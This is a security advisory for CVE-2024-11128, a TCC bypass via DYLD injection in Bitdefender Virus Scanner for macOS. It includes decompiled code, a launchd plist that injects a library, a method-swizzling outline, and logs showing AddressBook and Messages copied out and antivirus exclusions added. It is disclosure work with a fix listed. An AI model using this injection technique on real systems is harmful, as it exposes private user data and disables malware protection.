Jan 13, 2025
CVE-2024-11128
Carlos Garrido of Pentraze Cybersecurity
The Anti-Malware product, Bitdefender Virus Scanner, designed to scan malicious artifacts on macOS, contains a vulnerability that allows bypassing macOS Transparency, Control, and Consent (TCC), specifically granting Full Disk Access (FDA) permissions. Additionally, it enables the invocation of methods within the antivirus that allow arbitrary configuration and manipulation.
7.8 (High) - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
This vulnerability stems from the fact that the application ("/Applications/BitdefenderVirusScanner.app/Contents/MacOS/BitdefenderVirusScanner") is not signed with Hardened Runtime or Library Validation. As a result, it is possible to inject into the process (DYLD Injection) without AppleMobileFileIntegrity (AMFI) rejecting the library due to a mismatched signature from the binary. Once injected into the process, the attacker inherits the entitlements and permissions of the application, allowing them to gain additional system privileges that even the root user does not have by default.
Consequently, an attacker could access sensitive and protected user data, such as the AddressBook and Messages.
Furthermore, by leveraging the Objective-C runtime, it is possible to invoke methods (send messages) from various classes within the Anti-Malware product, as well as from the frameworks it loads at runtime. It is also feasible to access instance variables and properties to perform arbitrary actions, such as creating exclusion lists.
When validating the entitlements (encoded as a PLIST file) of the Mach-O binary, we will find several capabilities and restrictions of the BitdefenderVirusScanner application, such as: com.apple.security.app-sandbox, indicating that the binary runs in a sandbox with the /System/Library/Sandbox/Profiles/application.sb profile applied (this is the default for all App Store applications). Additionally, we observe that the flags are set to 0x0 (none).
Executable=/Applications/BitdefenderVirusScanner.app/Contents/MacOS/BitdefenderVirusScanner
Identifier=com.bitdefender.BitdefenderVirusScanner
Format=Mach-O universal (x86_64 arm64)
CodeDirectory v=20400 size=13451 flags=0x0(none) hashes=409+7 location=embedded
Signature size=4698
Info.plist=not bound
TeamIdentifier=GUNFMW623Y
Sealed Resources=none
Internal requirements count=1 size=240
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "https://www.apple.com/DTDs/PropertyList-1.0.dtd"><plist version="1.0"><dict><key>com.apple.security.app-sandbox</key><true/><key>com.apple.security.files.bookmarks.app-scope</key><true/><key>com.apple.security.files.user-selected.read-write</key><true/><key>com.apple.security.network.client</key><true/></dict></plist>
[BDExclusionsController addExclusions:] Method for Adding ExclusionsWe will now be studying the instance method addExclusions: of the BDExclusionsController class, as it will be utilized during the development of our proof of concept and exploitation phase. This method, as its name suggests, is responsible for adding exclusions in the file system.
void -[BDExclusionsController addExclusions:](struct BDExclusionsController* self, SEL sel, id addExclusions)
{
int64_t rax;
int64_t var_38 = rax;
struct objc_object* rax_1 = _objc_msgSend(_OBJC_CLASS_$_NSMutableArray, "arrayWithArray:", addExclusions);
_objc_msgSend(_OBJC_CLASS_$_NSString, "class");
_objc_msgSend(rax_1, "filterUsingPredicate:", _objc_msgSend(_OBJC_CLASS_$_NSPredicate, "predicateWithFormat:", &cfstr_self_isKindOfClass:_%@));
_objc_msgSend(rax_1, "removeObjectsInArray:", -[BDPrefsController exclusions](self, "exclusions"));
if (-[MSACOrderedDictionary count](rax_1, "count") == 0)
return;
_objc_msgSend(_objc_msgSend(_OBJC_CLASS_$_NSMutableArray, "arrayWithArray:", -[BDPrefsController exclusions](self, "exclusions")), "addObjectsFromArray:", rax_1);
return _objc_msgSend(self, "setExclusions:save:");
}
The addExclusions: method takes only one argument (addExclusions), an array (NSArray *). If we translate this to how Objective-C calls it at runtime, the prototype would be:
((void (*)(id, SEL, NSArray *))objc_msgSend)(BDExclusionsController *, @selector(addExclusions:), exclusionsArray)
This method can be summarized as follows:
Create an array using arrayWithArray:, taking addExclusions as the parameter.
Validate that the objects contained in the array are of type NSString * using the filterUsingPredicate: and predicateWithFormat: methods.
Remove duplicate elements (exclusions) from the array being passed in comparison to the exclusion list already maintained by the Antivirus. This is done using removeObjectsInArray:.
If the number of elements in the addExclusions array is greater than 0, and after duplicates have been removed (as explained in the previous step), the instance variable exclusions (of type NSMutableArray * in class BDExclusionsController) is updated with the new paths to be excluded. This is done using addObjectsFromArray:.
Finally, the method setExclusions:save: is called.
setExclusions:save: method:The setExclusions:save: method is nothing more than a trampoline to call the save:context: function:
void -[BDExclusionsController setExclusions:save:](struct BDExclusionsController* self, SEL sel, id setExclusions, char save)
{
if ((save != 0 && +[BDExclusionsController save:context:](clsRef_BDExclusionsController, "save:context:", setExclusions, *(int64_t*)((char*)self + 0x10)) == 0))
return;
return _objc_msgSend(self, "setExclusions:");
}
save:context method:The following method is responsible for creating a temporary PLIST file in the user’s temporary directory , in this case at /var/folders/gm/y8yjm5wd37524xf8gq7zhz580000gn/T/com.bitdefender.BitdefenderVirusScanner/avtempfile* using the TemporaryFile: and writeExclusions:toPath: calls, and then moving the file to $HOME/Library/Containers/com.bitdefender.BitdefenderVirusScanner/Data/Library/Application Support/Bitdefender Virus Scanner/antivirus.bundle/exclusions.plistusing the Rename:: function. In this final path, the Antivirus reads the file to determine which exceptions it should enforce:
char +[BDExclusionsController save:context:](struct BDExclusionsController* self, SEL sel, id save, id context)
{
int64_t rax;
int64_t var_38 = rax;
bool result = false;
struct objc_object* rax_1 = _objc_msgSend(_OBJC_CLASS_$_CommonTools, "TemporaryFile:", 0);
if (rax_1 != 0)
{
+[BDExclusionsController writeExclusions:toPath:](clsRef_BDExclusionsController, "writeExclusions:toPath:", save, rax_1);
struct objc_object* rax_2 = +[BDExclusionsController getExclusionsPath](clsRef_BDExclusionsController, "getExclusionsPath");
int32_t rax_4 = -[SystemSettingsController Rename::](-[BDMainController SystemSettingsInterface](context, "SystemSettingsInterface"), "Rename::", rax_1, rax_2);
int32_t rbx_2 = rax_4;
if (rax_4 == 0)
rbx_2 = _BDErrnoToOSStatus(((uint64_t)-[BDMainController SettingChanged:::](context, "SettingChanged:::", 1, data_100171ae8, rax_2)));
result = rbx_2 == 0;
if (rbx_2 >= 0)
{
if (rbx_2 != 0)
{
if (rbx_2 != 0x186ee)
{
label_10002f15b:
if (rbx_2 != 0)
-[BDMainController ShowError:::](context, "ShowError:::", _objc_msgSend(_objc_msgSend(_OBJC_CLASS_$_NSBundle, "mainBundle"), "localizedStringForKey:value:tabl…", &cfstr_Authorization, &cfstr_, 0), ((uint64_t)rbx_2), 0);
}
else
{
if (+[BDConsoleSettings IsEmbedded](clsRef_BDConsoleSettings, "IsEmbedded") != 0)
{
int32_t rax_10 = _RenameOrMove(_objc_msgSend(rax_1, "UTF8String"), _objc_msgSend(rax_2, "UTF8String"));
rbx_2 = rax_10;
if (rax_10 == 2)
{
rbx_2 = 2;
if (_MakeFolder(_objc_msgSend(_objc_msgSend(rax_2, "stringByDeletingLastPathComponen…"), "UTF8String")) == 0)
rbx_2 = _RenameOrMove(_objc_msgSend(rax_1, "UTF8String"), _objc_msgSend(rax_2, "UTF8String"));
}
result = rbx_2 == 0;
goto label_10002f15b;
}
-[BDMainController ShowError:::](context, "ShowError:::", _objc_msgSend(_objc_msgSend(_OBJC_CLASS_$_NSBundle, "mainBundle"), "localizedStringForKey:value:tabl…", &cfstr_Authorization, &cfstr_, 0), ((uint64_t)0x186ee), 0);
}
}
}
else if ((rbx_2 != 0xffff159b && rbx_2 != 0xffffff80))
goto label_10002f15b;
_objc_msgSend(_objc_msgSend(_OBJC_CLASS_$_NSFileManager, "defaultManager"), "removeItemAtPath:error:", rax_1, 0);
}
return result;
}
During the installation and initial configuration process of the application, we observe how Full Disk Access (FDA) is enabled:



TCC manages two databases for privacy settings: a system-wide database for global configurations and a per-user database for individual preferences. Both are stored as SQLITE3 databases with identical schemas. The system-wide database is located at /Library/Application Support/com.apple.TCC/TCC.db, while the per-user database is located at $HOME/Library/Application Support/com.apple.TCC/TCC.db.
To check if BitdefenderVirusScanner has been granted access to a specific feature, such as Full Disk Access (FDA) — identified by the service kTCCServiceSystemPolicyAllFiles — we can query the per-user database. If the auth_value in the access table is set to 2, this confirms that permission has been granted.
garrido@Garridos-MacBook-Air ~ % sqlite3 "/Library/Application Support/com.apple.TCC/TCC.db"
sqlite> SELECT * FROM access WHERE client LIKE '%bitdefender%' and auth_value=2;
kTCCServiceSystemPolicyAllFiles|com.bitdefender.BitdefenderVirusScanner|0|2|4|1|??
||0|UNUSED||0|1725215801
The goal of this exploit is to leverage Method Swizzling to hook Objective-C methods at runtime. This technique enables the dynamic replacement of method implementations, allowing arbitrary code execution in place of legitimate functionality.
To perform Method Swizzling, the following steps are typically followed:
Identify the target class using NSClassFromString, which resolves the class name dynamically at runtime.
Specify the method to hook using the @selector directive.
Retrieve the method reference with class_getInstanceMethod for instance methods, or class_getClassMethod for class methods.
Retrieve and store the original implementation using method_getImplementation. Although this step is optional, we will preserve the original pointer so it can be invoked from within our custom function if necessary. This helps maintain application flow and reduces the likelihood of detection.
Replace the original implementation with a custom one using method_setImplementation, passing the method reference and a pointer to the malicious C function.
While it’s possible to perform standard code injection from the Terminal, this approach causes BitdefenderVirusScanner to inherit the Terminal’s sandbox profile and permissions, which is not ideal. To ensure BitdefenderVirusScanner runs within its intended sandbox and privacy settings, we should launch it using launchd. This can be achieved by creating a custom PLIST file and loading it with launchd, preserving the correct environment and privileges.
?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.bit.defender</string>
<key>EnvironmentVariables</key>
<dict>
<key>DYLD_INSERT_LIBRARIES</key>
<string>/tmp/bit.dylib</string>
</dict>
<key>ProgramArguments</key>
<array>
<string>/Applications/BitdefenderVirusScanner.app/Contents/MacOS/BitdefenderVirusScanner</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
Exclusions before triggering the artifact:

It is important to note that before attempting to trigger the artifact, accessing AddressBook and/or Messages is not possible because the Terminal lacks the necessary privileges. However, once we load the PLIST file using the launchctl utility, we successfully exfiltrate those sensitive pieces of information. Similarly, we observe how it was possible, using the Objective-C runtime, to dynamically call methods that allowed the creation of new exclusions within the Anti-Malware product:
garrido@Garridos-MacBook-Air BitsDefender % ls -l /Users/garrido/Library/Application\ Support/AddressBook
total 0
ls: /Users/garrido/Library/Application Support/AddressBook: Operation not permitted
garrido@Garridos-MacBook-Air BitsDefender % ls -l /Users/garrido/Library/Messages
total 0
ls: /Users/garrido/Library/Messages: Operation not permitted
garrido@Garridos-MacBook-Air BitsDefender % ls -l /private/tmp
total 104
-rwxr-xr-x 1 garrido wheel 50944 Sep 19 00:33 bit.dylib
drwx------ 3 garrido wheel 96 Sep 15 19:47 com.apple.launchd.KTkNQcq3wN
srwxrwxrwx 1 garrido wheel 0 Sep 15 19:47 ovpnconnect-local-ipc.sock
drwxr-xr-x 2 root wheel 64 Sep 15 19:47 powerlog
garrido@Garridos-MacBook-Air BitsDefender % launchctl load BitDefender.plist
garrido@Garridos-MacBook-Air BitsDefender % ls -l /private/tmp
total 104
drwx------@ 12 garrido staff 384 May 10 18:07 AddressBook
drwx------@ 8 garrido staff 256 Sep 18 22:24 Messages
-rwxr-xr-x 1 garrido wheel 50944 Sep 19 00:33 bit.dylib
drwx------ 3 garrido wheel 96 Sep 15 19:47 com.apple.launchd.KTkNQcq3wN
srwxrwxrwx 1 garrido wheel 0 Sep 15 19:47 ovpnconnect-local-ipc.sock
drwxr-xr-x 2 root wheel 64 Sep 15 19:47 powerlog
garrido@Garridos-MacBook-Air BitsDefender % ls -l /private/tmp/AddressBook
total 4616
-rw-r--r--@ 1 garrido wheel 32768 Sep 10 2023 ABAssistantChangelog.aclcddb
-rw-r--r--@ 1 garrido wheel 32768 Sep 18 18:04 ABAssistantChangelog.aclcddb-shm
-rw-r--r--@ 1 garrido wheel 1693352 Sep 18 18:04 ABAssistantChangelog.aclcddb-wal
-rw-r--r--@ 1 garrido wheel 450560 Jul 4 19:08 AddressBook-v22.abcddb
-rw-r--r--@ 1 garrido wheel 32768 Sep 15 19:47 AddressBook-v22.abcddb-shm
-rw-r--r--@ 1 garrido wheel 111272 Jul 4 19:08 AddressBook-v22.abcddb-wal
drwx------@ 4 garrido staff 128 Sep 18 23:29 Metadata
-rw-r--r--@ 1 garrido wheel 42 May 10 18:07 Migration 20240510180720-425.abbu.tbz
drwxr-xr-x@ 3 garrido staff 96 May 10 18:07 Sources
garrido@Garridos-MacBook-Air BitsDefender % ls -l /private/tmp/Messages
total 1144
drwxr-xr-x@ 3 garrido staff 96 Sep 18 22:24 Drafts
drwxrwxrwx@ 17 garrido staff 544 Jul 5 22:20 NickNameCache
-rw-r--r--@ 1 garrido wheel 270336 Sep 18 19:59 chat.db
-rw-r--r--@ 1 garrido wheel 32768 Sep 15 19:47 chat.db-shm
-rw-r--r--@ 1 garrido wheel 276072 Sep 18 19:59 chat.db-wal
-rw-r--r--@ 1 garrido wheel 237 Sep 18 22:24 com.apple.messages.geometrycache_v6.plist
garrido@Garridos-MacBook-Air BitsDefender % launchctl list | grep -v apple
PID Status Label
6134 0 com.bit.defender
garrido@Garridos-MacBook-Air BitsDefender %
default 01:03:27.112639-0400 secinitd BitdefenderVirusScanner[6580]: AppSandbox request successful
default 01:03:27.120147-0400 BitdefenderVirusScanner container_create_or_lookup_for_platform: success
default 01:03:27.125293-0400 BitdefenderVirusScanner [+] BitDefender Virus Scanner Exploit:
default 01:03:27.125475-0400 BitdefenderVirusScanner [+] Class `BDMainDelegate` was found
default 01:03:27.125571-0400 BitdefenderVirusScanner [+] `applicationDidFinishLaunching:` Implementation before swizzling: 0x108525b1a
default 01:03:27.125653-0400 BitdefenderVirusScanner [+] `applicationDidFinishLaunching:` Implementation after swizzling: 0x1087daef0
default 01:03:43.841325-0400 BitdefenderVirusScanner [+] `applicationDidFinishLaunching:` hook \o/
default 01:03:43.841427-0400 BitdefenderVirusScanner [+] Main Application is loaded
default 01:03:43.841538-0400 BitdefenderVirusScanner [+] Class `BDExclusionsController` was found
default 01:03:43.841641-0400 BitdefenderVirusScanner [+] `removeItemAtPath:error:` Implementation before swizzling: 0x7ff81dce62c9
default 01:03:43.841934-0400 BitdefenderVirusScanner [+] `removeItemAtPath:error:` Implementation after swizzling: 0x1087db280
default 01:03:43.841988-0400 BitdefenderVirusScanner [+] `addExclusions:` Implementation: 0x108549b7b
default 01:03:43.842040-0400 BitdefenderVirusScanner [+] `getExclusions:` Implementation: 0x108549c81
default 01:03:43.842093-0400 BitdefenderVirusScanner [+] Exclusions Path [Real]: /Users/garrido/Library/Containers/com.bitdefender.BitdefenderVirusScanner/Data/Library/Application Support/Bitdefender Virus Scanner/antivirus.bundle/exclusions.plist
default 01:03:43.842153-0400 BitdefenderVirusScanner [+] Current user: garrido
default 01:03:43.842196-0400 BitdefenderVirusScanner [+] Instance `objBDExclusionsController` responds to selector `addExclusions:`
default 01:03:43.844935-0400 BitdefenderVirusScanner [+] `removeItemAtPath:` hook \o/
default 01:03:43.845063-0400 BitdefenderVirusScanner [+] Full Exclusions PLIST path (Temp): /var/folders/gm/y8yjm5wd37524xf8gq7zhz580000gn/T/com.bitdefender.BitdefenderVirusScanner/avtempfile.a5J9qF
default 01:03:43.845319-0400 BitdefenderVirusScanner [+] Exclusions PLIST (Temp):
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<array>
<dict>
<key>Avod</key>
<true/>
<key>Oas</key>
<true/>
<key>Path</key>
<string>/Users/garrido/Documents</string>
</dict>
<dict>
<key>Avod</key>
<true/>
<key>Oas</key>
<true/>
<key>Path</key>
<string>/Users/garrido/Downloads</string>
</dict>
</array>
</plist>
default 01:03:43.845488-0400 BitdefenderVirusScanner [+] `Exclusions file` already exists at target destination.
default 01:03:43.849093-0400 BitdefenderVirusScanner [+] `Exclusions file` was successfully copied/created to target destination
default 01:03:43.849992-0400 BitdefenderVirusScanner [+] Element at index 0 from `_exclusions` NSMutableArray: /Users/garrido/Documents
default 01:03:43.850363-0400 BitdefenderVirusScanner [+] Element at index 1 from `_exclusions` NSMutableArray: /Users/garrido/Downloads
default 01:03:43.850584-0400 BitdefenderVirusScanner [+] Copying the `AddressBook` and `Messages` directories
default 01:03:44.323016-0400 BitdefenderVirusScanner [+] `AddressBook` directory was successfully copied/created to target destination [/private/tmp/AddressBook]
default 01:03:44.370290-0400 BitdefenderVirusScanner [+] `Messages` directory was successfully copied/created to target destination [/private/tmp/Messages]
Next, we can verify how our new exclusion paths were successfully added:

This exploitation illustrates how an attacker can intercept sensitive operations, bypass security mechanisms, and access protected areas such as TCC-protected resources. It also shows that unauthorized exclusions can be introduced through tampering.
• Enable the Hardened Runtime and/or Library Validation capabilities for the /Applications/BitdefenderVirusScanner.app/Contents/MacOS/BitdefenderVirusScanner binary.